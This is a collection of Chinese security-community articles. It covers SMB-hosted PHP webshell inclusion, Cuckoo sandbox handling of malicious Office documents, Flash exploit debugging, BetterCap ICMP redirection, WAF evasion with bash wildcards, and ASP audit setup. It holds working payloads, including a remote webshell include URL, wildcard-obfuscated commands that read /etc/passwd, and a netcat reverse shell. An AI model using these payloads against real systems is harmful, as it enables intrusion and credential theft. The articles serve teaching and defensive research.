## 配置 SAMBA 服务器为匿名访问
使用以下命令去安装SAMBA服务器。
`apt-get install samba`
创建SMB 共享目录 （比如我的 /var/www/html/pub/）
`mkdir /var/www/html/pub/`
配置新创建的SMB共享目录的权限：
chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/
运行下面的命令来删除SAMBA 服务器的配置文件内容。
`echo > /etc/samba/smb.conf`
把下面的内容写在`/etc/samba/smb.conf`里面。
[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes
[ica]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody
重启SAMBA服务器，让配置文件 `/etc/samba/smb.conf`生效。
一旦SAMBA 服务器重启成功，尝试去访问SMB共享文件，确认SAMBA
服务器没有设置访问权限。在我的测试中，SAMBA服务器的IP是`192.168.0.3`，在Windows 文件浏览中去访问SMB共享文件，如下图。
`\192.168.0.3`
## 在SMB共享中放置PHP webshell
真棒。SMB共享目录是可以访问的，`ica`文件是存在的。
在目录`/var/www/html/pub`中放置php webshell，这是SMB共享指令`ica`目录。
一旦在SMB共享目录中放置了PHP shell，使用windows 文件浏览访问SMB的共享目录`ica`.
`\192.168.0.3ica`
你会看到PHP shell在SMB 共享目录里面。我的是box.php
## 文件包含攻击
使用存在远程文件包含的PHP应用程序去访问这个SMB共享PHP shell的链接。
`http://vulnerable_application/page.php？page=\192.168.0.3icabox.php`
可以看到，存在PHP文件包含的应用程序从SMB’共享文件中获取web
shell，并在机器上执行。我们已经绕过了限制并包含了托管在远程机器上的webshell。 | 社区文章 |
# 【技术分享】在细节中捕捉恶魔 ：提升Cuckoo沙箱捕获恶意Office样本行为的能力
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**PPT下载链接:**[
**https://pan.baidu.com/s/1i46t29f**](https://pan.baidu.com/s/1i46t29f) **密码:
i7hm**
**
**
**问题**
**沙箱和恶意代码行为**
APT
鱼叉式网络钓鱼攻击
沙箱：Sandbox是功能强大的用于观察可执行文件或客户端应用程序漏洞利用的行为的工具
Cuckoo Sandbox：最流行的开源沙箱环境
**微软 Office 文档攻击技术** ****
Office漏洞
在Office Word中执行IE漏洞利用
恶意的包对象
恶意的宏
**微软 Office 文档漏洞**
栈溢出：CVE-2012-0158、CVE-2010-3333
UAF：MS12-060
类型混淆：CVE-2015-1641
逻辑漏洞：CVE-2015-0097、CVE-2017-0199
**微软 Office 恶意文档在 Cuckoo 中的测试结果**
为什么选择Office文档：攻击客户端最常见的手段
网络行为
数据源：Real Word、最近6年、10,000 样本集、多个杀软报毒
针对微软 Office 攻击所使用的漏洞/技巧
结果
只有27%的样本表现出网络行为，其中大多数似乎没有触发漏洞
**失败原因**
环境：不同的跳转地址、漏洞攻击必要模块缺失
交互操作：弹框、恶意包对象
加密:打开/修改 密码、延迟触发、劫持 程序/操作系统/键盘、错误的打开模式、文件类型识别、参数错误
**不同的跳转地址**
跳转地址用于连接漏洞和shellcode
操作系统：Windows XP/7
系统语言：Japanese、Korean、Traditional Chinese、Western
Office版本：Office 2007 en/cn
**我们收集的多种跳转地址**
**我们收集的多种跳转地址**
**缺失漏洞利用的必要模块**
比如一些恶意RTF文档通过插入ProgID为otkloadr.WRAssembly.1的ActiveX/COM
objects来加载MSVCR71.DLL以用于绕过ASLR/DEP
DLL 信息
****
**一些攻击需要交互**
在RTF文档中插入未使用关闭标记“}”的“{objdata”，可以绕过沙箱检测
当沙箱打开这类文档时，Office将弹出窗口通知用户“内存不足”，目标用户必须单击OK按钮才能触发该漏洞
沙箱无法打开受密码保护的文档
设置Office文档的打开密码以加密文档内容
设置Office文档的修改密码并不意味着文件内容将被加密，但打开文档时，您将需要输入一个密码。
劫持应用程序、操作系统
在注册表中添加启动项
劫持IE，和方程式组织使用同样的攻击技巧
劫持键盘（未公开）
劫持操作系统（部分未公开）
**插入恶意的EXE包对象**
Office文档中插入EXE包对象，诱使目标手动运行可执行文件，沙箱无法智能地执行嵌入的EXE文件
PPT中插入EXE包对象，并使用动画触发执行
其它
**Office 宏**
很多恶意样本利用宏执行代码，但Office对执行宏有提示，沙箱无法自动处理所需的交互
**未正确关联的Office文档类型**
MS Office支持XML格式文档，但Cuckoo不识别此类文档，所以不知道使用什么应用程序打开
Word XML header
**错误的打开模式**
一些恶意Office样本通过使用MHTML等格式来绕过检测，如果我们直接将文件名当做参数传递给WinWord.exe则无法触发漏洞攻击，在这种情况下需要通过DDE传递参数
Cuckoo打开一份Office文档时未考虑参数情况
**在一个操作系统下模拟所有的跳转地址**
在代码页文件c_936.nls/unicode.nls中找到所有的跳转地址并填充opcode
在Office进程空间中申请/修改常用的跳转地址并填充opcode
需要修改的NLS文件以及需要填充opcode的跳转地址
在加载ntdll.dll后挂起Office进程
在此时的Office进程空间中申请/修改常用的跳转地址并填充opcode
**导入指定的模块**
为了让Office能顺利加载MSVCR71.DLL，我们将MSVCR71.DLL拷贝到沙箱中，通过修改IAT的方式让Office应用程序启动时加载MSVCR71.DLL
持续更新dll列表
模拟键盘/鼠标输入
部分需要模拟的操作
**解密用Office默认加密算法加密的文档**
5个字节(40bit)的秘钥
所有秘钥的可能性为 240 (or 1099511627776) 种
被加密的doc和xls文档流中某些字节固定不变的
秒破
**删除Office文档的“修改密码”**
DOC/XLS/PPT : 修改特殊标记
Office open XML format :删除密码标记
RTF
**解决方法**
**监控应用程序 &系统劫持路径**
如果沙箱检测到重写注册表启动项或者劫持系统的行为，则执行相应启动项或者打开被劫持的软件，例如IE
所有的监控点是我们长期研究各类攻击积累的，某些无法在sysinternals的autoruns工具或者其它安全工具中被检测到
监控所有软件&系统劫持路径
一些监控点
**启发式检测嵌入的EXE**
解析复合二进制、Open XML、RTF等格式的文档，提取其中的EXE，并主动执行
允许默认执行宏
**修改打开模式**
首先，我们需要确定所有可以通过Office应用程序打开的文件格式，如doc、rtf、docx、MHTML、XML等等
然后，修改关联的文件扩展名，最后用shellexcute()打开。
比如对于MHTML格式的Office文档需要修改为doc后缀使用ShellExcute打开，这样系统才会在注册表中获取正确的参数传递方式。
**改造后的沙箱样本执行流程**
启发式检测
程序环境修改（code page、regedit、内存占坑、引入DLL）
交互式操作
监控启动项应用程序系统劫持
**效果**
**极大的提升**
我们把10,000个Sample放到沙箱里再次运行，结果表明，78%的样本被捕获到网络行为。
**未知的 Exploit**
劫持IE，与方程式组织使用相同的劫持伎俩
劫持键盘输入，未公开的攻击技巧
在 MS Word 中执行IE浏览器的漏洞利用
**和国外知名沙箱对比**
**结论以及未来的工作**
**结论**
该方法解决了漏洞触发的一些问题，如环境、交互操作、加密文档、延迟等
我们的方法也可以用来触发其他类型的样本的行为
**未来的工作**
Payload anti-anti-sandbox
Payload anti-anti-debugging | 社区文章 |
# 【技术分享】如何借助ActionScript提高Flash调试效率
|
##### 译文声明
本文是翻译文章，文章来源：checkpoint.com
原文地址：<http://blog.checkpoint.com/2017/05/05/debug-instrumentation-via-flash-actionscript/>
译文仅供参考，具体内容表达以及含义原文为准。
****
**
**
****
翻译：[ **興趣使然的小胃**](http://bobao.360.cn/member/contribute?uid=2819002922)
**预估稿费：200RMB**
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**一、前言**
浏览器插件一直以来都是攻击者热衷的攻击目标。在过去的几年中，最热门的攻击目标无疑是Flash。仅在2016年，与Flash有关的CVE漏洞就有250多个，几乎每个[
**漏洞利用平台**](https://www.recordedfuture.com/top-vulnerabilities-2016/)中都包含这些漏洞的利用工具。针对Flash的攻击无所不在，值得我们注意。
作为安全研究人员，我们经常会处理一些攻击案例，为了分析这些案例，我们需要收集尽可能多的信息，研究漏洞利用的内部工作机制。这个过程通常来说是非常乏味和费时的，使研究任务无法完美完成。由于大多数漏洞利用的主体部分（如ROP链、shellcode以及载荷等）都是在运行时才生成，因此我们决定采用另一种办法，利用现有的原生层调试器（native
level debugger）的功能，使分析过程能够提供更多的信息，提高调试效率。
通过这种方法，我们能够更广泛地了解Flash漏洞利用的内部工作机制，使研究过程更加快速、简单、可控。
这篇文章中详细介绍了我们所使用的具体方法及其优点，并结合一些常见案例阐述该方法的具体应用场景。在了解这种Flash分析技术之前，我们可以先来回顾一下SWF的基础知识。
**
**
**二、Flash基础知识**
**2.1 SWF**
人们之所以引入SWF格式，主要是想在互联网上分发矢量图形（不幸的是也可以用来分发漏洞利用程序）。在设计之初，人们就考虑到了网络分发的因素，因此将SWF格式设计为一种二进制格式，使用了压缩、位封装（bit-packing）以及包含可选字段的结构体来减少SWF文件的大小。
基本上说来，一个SWF文件由一系列带有标签的数据块组成。标签（Tag）可以用来定义需要显示的形状或者需要播放的音频流，但对于漏洞利用来说，标签更重要的功能是用来分发ActionScript
3.0字节码。
**2.2 DoABC**
DoABC标签包含一个ActionScript字节码（ActionScript
Bytecode，ABC）数据块，ABC数据块可以使用ActionScript 3.0虚拟机进行解析。
这个标签还可以包含静态值、类以及Flash文件所使用的方法的常量池。
比如，某段代码如下所示：
这段代码编译后会生成如下所示的字节码：
正如上述结果，pushstring指令引用的是常量池中的第13（0d）号字符串，如下所示：
另外getlex以及callpropvoid引用的是常量池中的限定名称（qualified name，QNAME），如下所示：
**三、分析方法**
目前我们在分析Flash漏洞利用技术时，可以使用一些常见的分析方法。
**3.1 源代码反编译及编辑方法**
最简单的一种方法是使用诸如FFDEC之类的反编译工具，获取实际的源代码并进行编辑源代码。
这种方法能够获取漏洞利用源代码，听起来非常吸引人，但事情并没有那么简单。攻击者会使用复杂的混淆和封装技术，导致我们难以理解生成的代码。此外，漏洞利用作者通常会加入垃圾代码以及不可达标签，利用这些方法对抗反编译器。
与此同时，即便我们通过反编译过程获得了有效的代码，这个过程中还是存在字节码被错误处理的可能性，这会导致代码生成错误，困扰安全分析人员。
**3.2 反汇编及追踪方法**
另一种方法是对SWF文件进行反汇编处理。我们可以使用诸如[
**RABCdasm**](https://github.com/CyberShadow/RABCDAsm)之类的反汇编器，从SWF文件中导出ABC标签的字节码（而不是反编译这个文件），之后就可以对字节码进行修改和重新汇编处理。
根据[ **Matt Oh**](https://community.hpe.com/t5/Security-Research/Playing-with-Adobe-Flash-Player-Exploits-and-Byte-Code/ba-p/6505942#.WFZDAFN96Ht)的研究成果，我们可以通过改变字节码，在关键节点注入某些调试功能（比如追踪（trace）功能）。这种方法毫无疑问非常强大，然而，hook反汇编后的代码、插入trace功能后，我们的分析能力也被限制在Flash
player调试器的自身能力范围内。
**3.3 我们提出的反汇编和调试方法**
有时候我们可以使用某些原生层调试功能，获得比Flash
player调试更有用的结果。当我们面对的是JIT层的函数或者想要分析漏洞存在的根本原因时，这种方法更加有用。
当我们分析IE浏览器的漏洞利用原理时，常见的技巧是将某个调试字符串作为参数，传递给某些不常用函数（如Math::Atan2()），将该函数插入程序中，同时在WinDBG中观察字符串的活动情况（我们可以通过WinDBG更好地观察内存和代码的布局，参考[
**此链接**](http://d0cs4vage.blogspot.co.il/2013/06/windbg-tricks-javascript-windbg.html)获取更详细信息）。
我们决定将这种技术应用到Flash
ActionScript中。我们可以通过这种方法，更好地了解漏洞利用过程中堆（heap）的分布情况，我们无法通过Flash
player调试器完成这一任务。通过插入某些不常用的函数（本例中我们使用的是JSON.stringify函数），我们能够打破字符串混淆的限制，查看字节数组的真实内容，因为这些数组都是被动态创建和分配的。
我们通过SWF文件的反汇编字节码，将不常用函数插入到SWF文件中，通过这种方法，绕过漏洞利用作者可能使用的任何对抗反编译器的技术。
这个方法主要包含两部分工作：
1、在WinDBG的合适位置设置断点；
2、使用我们的指示函数（即上文所述的不常用函数）hook原始的SWF文件。
由于Adobe并没有向公众提供调试符号，因此我们需要做一些逆向工程方面的工作。
**3.3.1 在WinDBG中设置必要的断点**
我们唯一的需求是指示函数可以处理字符串，并且希望该指示函数永远不会被漏洞利用程序调用。因此我们选择[
**JSON.stringify**](http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/JSON.html#stringify\(\))函数作为指示函数。
在Flash库中查找指示函数的偏移量相对而言比较简单。我们分配一个字符串对象，使用WinDBG在内存中搜索这个对象，设置在访问字符串时触发断点，然后引导JSON.stringify函数处理字符串，如下所示：
编译ActionScript工程后，我们将创建的SWF文件嵌入到一个本地html文件中，使用IE浏览器打开这个文件。我们将WindDBG附加到IE进程上，在ExternalInterface.call(“alert(123)”)这一行设置断点。
当alert弹出时，Flash会暂停运行。此时，我们使用[
**Mona.py**](https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/)查找已分配的字符串对象，使用“ba”指令，设置WinDBG在读取这个具体的位置时触发断点：
在我们恢复Flash的运行后，断点自然会被触发：
现在我们需要验证当前操作的确与JSON.stringify()有关。在IDA中查看这个地址，我们发现情况的确如此：
如果一切按照计划执行，在函数返回时，eax中应该保存一个指向字符串化对象的指针。
大功告成，我们可以将以上步骤结合在一起，在WinDBG控制台中，创建断点，打印发往json.stringify()函数的所有所有字符串，如下所示：
bp (Flash32_17_0_0_188 + 006a201a) “.echo ——-; da poi(eax)”
**3.3.2 使用指示函数hook原始的SWF文件**
在处理各种对象和数据类型时，单单打印字符串是远远不够的。然而，我们可以将自己的类添加到flash文件中，这样我们就能够执行更加复杂的逻辑处理，处理各种数据类型。我们使用的类名为“exploit_common”，使用的主函数是debugPrint()。这个类能接受任何对象作为参数，并根据对象的具体类型进行处理，因此能够简化整个hook流程。然而，我们不能简单地将ActionScript代码以文本形式添加到漏洞利用程序中，因此，我们利用Adobe提供的[
**Flex SDK**](http://www.adobe.com/devnet/flex/flex-sdk-download.html)，使用如下命令编译库文件：
其中“as”是ActionScript库的实际路径。接下来，我们使用RABCDasm反汇编这个新创建的SWF文件。
之后我们拷贝库的.asasm文件，放在一边留待后用。
**四、案例演示**
现在我们以实际的漏洞利用程序为例，介绍这种方法的具体应用。
Sundown是目前最活跃的漏洞利用工具之一。我们可以从[ **Malware-traffic-analysis**](http://www.malware-traffic-analysis.net/2017/01/06/2017-01-06-Sundown-EK-sends-Terdot.A-Zloader.pcap.zip)上下载Sundown最新的Flash漏洞利用工具。
首先我们需要导出恶意SWF文件的DoABC标签，对类进行反汇编处理。
需要注意的是，abcexport命令导出的DoABC标签中包含附加的索引值，我们需要反汇编第一个索引（索引值从0开始）。
每个标签反汇编之后都会生成一些.class.asasm以及.script.asasm文件，以及一个main.asasm文件。
我们需要编辑main.asasm，包含我们的自定义库。
当然我们也需要将我们之前生成的.asasm文件添加进去：
现在我们已经可以在漏洞利用工具内部调用我们自己的函数。分析经过混淆处理的flash漏洞利用工具不是特别容易，对于Sundown来说，它的某些类名似乎是随机生成的。
**4.1 导出shellcode**
这个SWF文件的主类名为“unfaithfulness”。
我们在主类的初始化函数内部，找到一个非常长的混淆字符串。我们对这个字符串的功能比较感兴趣。
上图中高亮的那一行代码在ABC指令中的形式如下：
图1. 生成的字节码
在字节码中，当变量从AVM栈中弹出时，会使用setlocal_n指令完成变量的本地分配。因此，hook点应该挂在_loc6_的分配完成之后，如下所示：
现在我们可以保存.asasm文件了，汇编处理.asasm文件，生成.abc文件，将漏洞利用工具中的DoABC标签替换为我们hook过的标签。
Abcreplace.exe工具接受以下三个参数：
1、需要修改的.SWF文件；
2、需要替换的标签的索引值
3、我们修改过的标签
将hook后的SWF文件嵌入到一个HTML文件中，使用调试器开始调试。
设置断点、运行漏洞利用工具后，我们可以看到断点已被触发：
我们可以看到_loc6_的打印信息，它看起来像是一个shellcode，这段shellcode以XOR循环开始：
能够导出解码后的shellcode看起来的确很酷，但这种方法的最大的功能是能够了解堆的布局结构。现在让我们来看看如何做到这一点。
**4.2 查看堆结构**
以下是漏洞利用工具调用的第一个函数：
Spray_obj()中创建了两个Vector：
Vector
obj20中包含大小为20字节的数组，长度为0x200000。这些数组都包含明显特征，数组开头为一个有序增加的整数，整数基址为0xFACE0000，如下所示：
Vector obj4000保存0x4000个“everyday”类的实例：
“everyday”类的结构如下所示：
可以看出来，这个对象头部包含某些特征，应该会被漏洞利用工具大量填充到堆中（即所谓的堆喷射技术）。
所有的堆操作和设置准备完毕后，我们现在可以触发漏洞了。我们执行一次数组溢出读取操作，读取数组范围之外的78字节数据。由于obj20只有0x200000字节长，因此我们需要读取0x200078长度的数据。堆喷射成功后，泄露的对象（紧挨着obj20的最后一个成员所在的地址）的类型应该为“everyday”。代码如下图所示：
这个位置就是我们希望hook的关键位置，与一些信息描述字符串以及_local7的值有关：
我们可以借此获取有关堆结构的一些关键信息。与之前操作类似，我们需要保存、汇编以及替换我们修改过的标签。
在WindDBG中设置必要的断点，断点触发情况如下所示：
在0x78偏移处，我们找到了第一个“everyday”成员：
从前文分析，我们已知obj20字节数组的长度为0x200000，因此我们应该可以在0x090a0000处找到它，如下所示：
我们只是通过这个示例说明这种方法的强大功能。从此时开始，我们可以设置更多的断点，访问泄露的对象，搜索漏洞利用工具在内存中的模式和特征，了解所分配空间的特点等等。
**五、结论**
Flash漏洞利用无所不在，从漏洞利用工具以及目标攻击活动等各方面都能看到它的身影。这些漏洞利用程序使用高强度的混淆机制，试图逃避基于静态特征的检查，提高安全研究人员的分析难度。我们有可能使用[
**跟踪（trace）**](http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/package.html#trace\(\))功能、使用[
**Flash Debug
Player**](https://www.adobe.com/support/flashplayer/debug_downloads.html)运行漏洞利用工具，避免在原生层进行调试。然而，虽然原生层的调试比较具有挑战性，但在处理具有底层虚拟机（例如Flash）的应用时，这种调试方式依然非常强大，具有多个优点。我们可以使用某些不常用的指示函数作为断点、提供有价值信息，在漏洞利用的执行流程中的关键点中断执行流程，打印有价值的数据，对恶意SWF文件进行调试。对比传统的debug
player调试方法，我们可以通过这种方法获得维度更广的信息。 | 社区文章 |
# 使用BetterCap实现双向ICMP重定向攻击
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://www.evilsocket.net/2016/01/10/bettercap-and-the-first-real-icmp-redirect-attack/>
译文仅供参考，具体内容表达以及含义原文为准。
**BetterCap的下一个版本将包含一个新的攻击机制，来替代原本默认使用的ARP模块。**
新模块会执行MITM攻击（MITM:中间人攻击，一种“间接”入侵攻击），它完全自动化，并有ICMP全双工重定向特性。我在Zimperium的同事发现了这种攻击方式，称之为DoubleDirect攻击。
BetterCap将会是第一个被用作为MITM攻击的框架，它可以100%地继承原来的特性，不需要任何其他的设备作为辅助，便可以开始工作。
如果你认为BetterCap早在几年前就发布了的话，那么我有必要提醒你关注一些有关BetterCap的说明：
很显然，你必须熟悉你的网络拓扑结构。比方说，当你在使用一台交换机时，面对着不同的端口，你就需要采用不同的攻击方式，例如：ARP中毒攻击。
是的，除非你已经能够管理网络流量，否则BetterCap的ICMP框架就是无效的（而在哪种情况下，你必须选择采用MITM攻击方式呢？）
从另一个角度说，MITM也不是太好的选择。如果你仔细看看它的代码，你就会发现只有ICMP攻击者才会这样做：
这基本上只能起到重设路由网关流量的作用，而没其他用处。
为了能够得到一个真正意义上的，能供ICMP重定向攻击方式使用的数据包，你就必须重设路由网关和路由上的其他目标地址。这就是我在Zimperium网站的博文中所写到的，为什么要使用DNS监听线程的原因。
**请继续关注吧，下一个版本很快就会更新了。** | 社区文章 |
[原文链接](https://medium.com/secjuice/waf-evasion-techniques-718026d693d8)
## 前言
我可以用
/???/??t /???/??ss??
读取你的passwd文件。享受`Sucuri WAF`，`ModSecurity`，`Paranoia`等等waf带来的的乐趣......
ps：mac上好像不太行，按道理应该也可以啊。
在Web应用程序中发现远程命令执行漏洞并不是很少见，并且`OWASP Top 10-2017`将`sql inject`置于第一个位置：
当不受信任的数据作为命令或查询的一部分发送到解释器时，就会发生注入，例如`SQL`，`NoSQL`，`OS`和`LDAP`注入。攻击者的恶意数据可以欺骗解释器在没有适当授权的情况下执行非预期的命令或访问数据。
所有现代Web应用程序防火墙都能够拦截（甚至阻止）RCE尝试，但是当它发生在Linux系统中时，我们有很多方法可以逃避WAF规则集。渗透测试人员最好的朋友不是狗......它的名字是`通配符`。在开始做WAPT之前，我想告诉你一些你可能不了解bash和通配符的事情。
## 关于通配符你不知道的事
各种命令行实用程序使用Bash标准通配符（也称为通配模式）来处理多个文件。有关标准通配符的更多信息，请通过键入参考手册页`man 7
glob`。不是每个人都知道有很多bash语法使你能够使用问号`？`，正斜杠`/`，`数字和字母`来执行系统命令。您甚至可以使用相同数量的字符枚举文件并获取其内容。怎么样？我举几个例子：
执行ls命令，您可以使用以下语法：
使用这种语法，您可以执行基本上所需的一切。比方说，你的脆弱的目标是一个Web应用防火墙的后面，这WAF有一个规则，包含块的所有请求`/etc/passwd`或`/bin/ls`
GET参数的值内或身体内部的POST请求。如果你试图提出一个请求，`/?cmd=cat+/etc/passwd`它会被目标WAF阻止，你的IP将被永久禁止并被标记为`另一个f
***
in'redteamer'`。但是你的口袋里有一个叫做通配符的秘密武器。如果你很幸运（不太幸运，我们后面会说到），目标WAF没有足够的严格，来阻止像`?`和`/`在查询字符串中。因此，您可以轻松地发出您的请求（网址编码），如下所示：`/?cmd=%2f???%2f??t%20%2f???%2fp??s??`
正如您在上面的屏幕截图中看到的那样，有3个错误`/bin/cat
*：是一个目录`。发生这种情况是因为`/???/??t`可以通过整合过程`转换`到`/bin/cat`或者`/dev/net`,`/etc/apt`
等等....
问号通配符仅代表一个可以是任何字符的字符。因此，如果您知道文件名的一部分而不是一个字母，那么您可以使用此通配符。例如`ls
*.???`，列出当前目录中扩展名为3个字符的所有文件。因此，将列出具有`.gif，.jpg，.txt`等扩展名的文件。
使用此通配符，您可以使用netcat执行反向shell。假设您需要在端口1337（通常`nc -e /bin/bash 127.0.0.1
1337`）执行反向shell到127.0.0.1 ，您可以使用以下语法执行此操作：
`/???/n? -e /???/b??h 2130706433 1337`
以`long`格式（2130706433）转换IP地址`127.0.0.1`，可以避免在HTTP请求中使用`.`字符。
在我的kali中我需要使用`nc.traditional`而不是nc没有-e参数，以便/bin/bash在连接后执行。payload变成这样：
/???/?c.??????????? -e /???/b??h 2130706433 1337
下面我们刚刚看到的两个命令的一些摘要：
标准：/bin/nc 127.0.0.1 1337
bypass：/???/n? 2130706433 1337
使用的字符：/ ? n [0-9]
标准：/bin/cat /etc/passwd
bypass：/???/??t /???/??ss??
使用的字符：/ ? t s
为什么用?而不是*,因为星号（*）被广泛用于注释语法（类似/*嘿，我是注释*/），许多WAF阻止它以避免SQL注入...类似于UNION + SELECT + 1,2,3 /*
使用echo？枚举文件和目录？是的你可以。该echo命令可以使用通配符枚举文件系统上的文件和目录。例如`echo /*/*ss*`
这可以在RCE上使用，以便在目标系统上获取文件和目录，例如：
但是为什么使用通配符（特别是问号）可以逃避WAF规则集？让我先从Sucuri WAF开始吧！
## Sucuri WAF bypass
哪种测试WAF规则集的最佳方法是什么？创建世界上最易受攻击的PHP脚本并尝试所有可能的技术！在上面的屏幕截图中，我们有：在左上方的窗格中有我丑陋的Web应用程序（它只是一个执行命令的PHP脚本）：
<?php
echo 'ok: ';
print_r($_GET['c']);
system($_GET['c']);
在左下方的窗格中，您可以在我的网站上看到由Sucuri
WAF（test1.unicresit.it）保护的远程命令执行测试。正如您所看到的，Sucuri阻止了我的请求，原因是`检测到并阻止了尝试的RFI/LFI`。这个原因并不完全正确，但好消息是WAF阻止了我的攻击（我甚至不知道为什么防火墙会告诉我阻止请求的原因，但应该有一个理由......）。
右侧窗格是最有趣的，因为它显示相同的请求，但使用`问号`作为通配符。结果令人恐惧...... Sucuri
WAF接受了请求，我的应用程序执行了我输入c参数的命令。现在我可以读取`/etc/passwd`文件甚至更多...我可以阅读应用程序本身的PHP源代码，我可以使用`netcat`（或者我喜欢称之为`/???/?c`）来执行反向shell
，或者我可以执行类似`curl或wget`按顺序的程序显示Web服务器的真实IP地址，使我能够通过直接连接到目标来绕过WAF。
我不知道是否会发生这种情况，因为我在`Sucuri
WAF`配置上遗漏了一些内容，但似乎没有...我已经在Sucuri问过这是否是一种有人参与的行为，以及他们是否配置了默认的`低等级`以避免错误，但我还在等待答案。
请记住，我正在使用一个不代表真实场景的愚蠢PHP脚本进行此测试。恕我直言，你不应该根据它阻止的请求来判断一个WAF，而且Sucuri的安全性并不高，因为它不能完全保护一个故意易受攻击的网站。做了必要的说明！
## ModSecurity OWASP CRS 3.0
我真的很喜欢ModSecurity，我认为与Nginx和Nginx连接器一起使用的新libmodsecurity（v3）是我用过的最佳解决方案，用于部署Web应用程序防火墙。我也是OWASP核心规则集的忠实粉丝！我到处都用它但是，如果你不太了解这个规则集，你需要注意一个叫做爱的小东西..嗯对不起妄想症又犯了！
## 严格模式
您可以在[此处](https://github.com/SpiderLabs/owasp-modsecurity-crs/blob/e4e0497be4d598cce0e0a8fef20d1f1e5578c8d0/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf)找到的以下`模式`
很好地概述了每个级别如何处理“请求协议强制执行”规则。正如您在PL1中看到的那样，查询字符串只能包含1-255范围内的ASCII字符，并且它会变得更加严格，直到PL4阻止非常小范围内的非ASCII字符
# -=[ Targets and ASCII Ranges ]=- #
# 920270: PL1
# REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES
# ASCII: 1-255
# Example: Full ASCII range without null character
#
# 920271: PL2
# REQUEST_URI, REQUEST_HEADERS, ARGS and ARGS_NAMES
# ASCII: 9,10,13,32-126,128-255
# Example: Full visible ASCII range, tab, newline
#
# 920272: PL3
# REQUEST_URI, REQUEST_HEADERS, ARGS, ARGS_NAMES, REQUEST_BODY
# ASCII: 32-36,38-126
# Example: Visible lower ASCII range without percent symbol
#
# 920273: PL4
# ARGS, ARGS_NAMES and REQUEST_BODY
# ASCII: 38,44-46,48-58,61,65-90,95,97-122
# Example: A-Z a-z 0-9 = - _ . , : &
#
# 920274: PL4
# REQUEST_HEADERS without User-Agent, Referer, Cookie
# ASCII: 32,34,38,42-59,61,65-90,95,97-122
# Example: A-Z a-z 0-9 = - _ . , : & " * + / SPACE
让我们对所有级别进行一些测试！
## PL0
等级0表示禁用了许多规则，因此我们的payload可以毫无问题地导致远程命令执行，这是绝对正常的。问题不大，不要慌:)
SecAction "id:999,\
phase:1,\
nolog,\
pass,\
t:none,\
setvar:tx.paranoia_level=0"
## PL1, PL2
我已将1级和2级分组，因为它们的差异（如上图所示）不会影响我们的目标，所有行为都与下面描述的相同。
SecAction "id:999,\
phase:1,\
nolog,\
pass,\
t:none,\
setvar:tx.paranoia_level=1"
使用PL1（和PL2）ModSecurity显然阻止了我对`OS File Access
Attempt`的请求（930120）。但是，如果我将问号用作通配符怎么办？该请求被我的WAF通过了：
发生这种情况是因为“问号”，`正斜杠`和`空格`都在规则920271和920272的字符范围内。此外，使用`问号`代替命令语法使我能够逃避`拦截操作系统的常见命令和文件`（例如我们的`/etc/passwd`）。
## PL3
这种模式它阻止包含`？`等字符的请求超过n次。事实上，我的请求已被阻止为`元字符异常检测警报 -重复非字符`。这很酷！很强的ModSecurity，你赢了一只泰迪熊！但不幸的是，我的网络应用程序是如此丑陋和易受攻击，我可以使用较少的问号并使用以下语法读取passwd文件：`c=/?in/cat+/et?/passw?`
正如你所看到的，只使用3个`？`问号我就bypass了这个级别并读取目标系统内的passwd文件。好吧，这并不意味着你必须始终无条件地将你的等级设置为4。请记住，我正在使用一个非常愚蠢的PHP脚本来测试它，这个脚本并不代表真实场景...我希望......你懂的.....
现在每个人都知道42是生命，宇宙和一切的答案。但是那样：`你会bypass PL4的OWASP规则集吗？`
## PL4
基本上没有，我做不到。范围之外的所有字符`a-z A-Z
0–9`都被阻止！没办法......相信我，当你需要执行一个命令来读取文件时，有90％的概率你需要一个`空格`字符或`正斜杠`.
## 最后的想法
回到静态HTML页面......这是提高Web应用程序安全性的最快方法！很难说 避免`bypass
WAF`的最佳配置是什么，或者使用什么waf最好。恕我直言，我们不应该信任在Web应用程序上均匀分布的规则集。实际上，我认为我们应该根据应用程序功能配置我们的WAF规则。
无论如何，当你在ModSecurity上写一个新的SecRule时，请记住，可能有很多方法可以避开你的`过滤器/正则表达式`。所以写下来`我怎么能逃避这个规则？`。
后续继续把剩下的两篇补上，文中有些可能欠妥，请指出！ | 社区文章 |
# 浅谈Mac上手 Asp and Asp.net 代码审计（一）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x1 前言
Asp现在来说相对落后,也就是比较out了,但是在一些内网老系统还是经常可以看见的,Asp.net的话是我之前就打算学习的东西,因为这两个搭建起来的环境比较相似,所以把它这两者放在了这篇文章里面,这样方便查阅和学习。特别说明,本文主要是探讨mac环境如何上手
asp and asp.net审计,出发点是一个菜鸟无基础,所以一些大手子可以选择鄙视我并且x掉页面。
## 0x2 环境搭建
当前环境: MAC OS 使用PD虚拟机创建了win10
web服务器: iis
安装过程非常简单: 控制面板-> 程序与功能->window功能
然后选择如下设置即可:
这里我想谈下CGI和ISASPI
这里推荐两篇文章:
[IIS里ISAPI扩展与ISAPI筛选器的区别和相同之处](http://www.webkaka.com/tutorial/iis/2017/040722/#asipi_summary)
[IIS里ISAPI和CGI比较：几种执行方式的不同](http://www.webkaka.com/tutorial/iis/2017/040723/)
其实CGI ASP JSP PHP 都是常用的动态网页技术,与这篇文章没有太大关系,但可以去适当了解下。
## 0x3 创建一个asp测试站点
打开iis管理器->添加网站
查看下当前IP信息(这里采用的是共享网络)
以太网适配器 以太网:
连接特定的 DNS 后缀 . . . . . . . : localdomain
IPv6 地址 . . . . . . . . . . . . : fdb2:2c26:f4e4:0:a1e9:be2b:e47:4ace
临时 IPv6 地址. . . . . . . . . . : fdb2:2c26:f4e4:0:2517:1ae1:48bd:d9bb
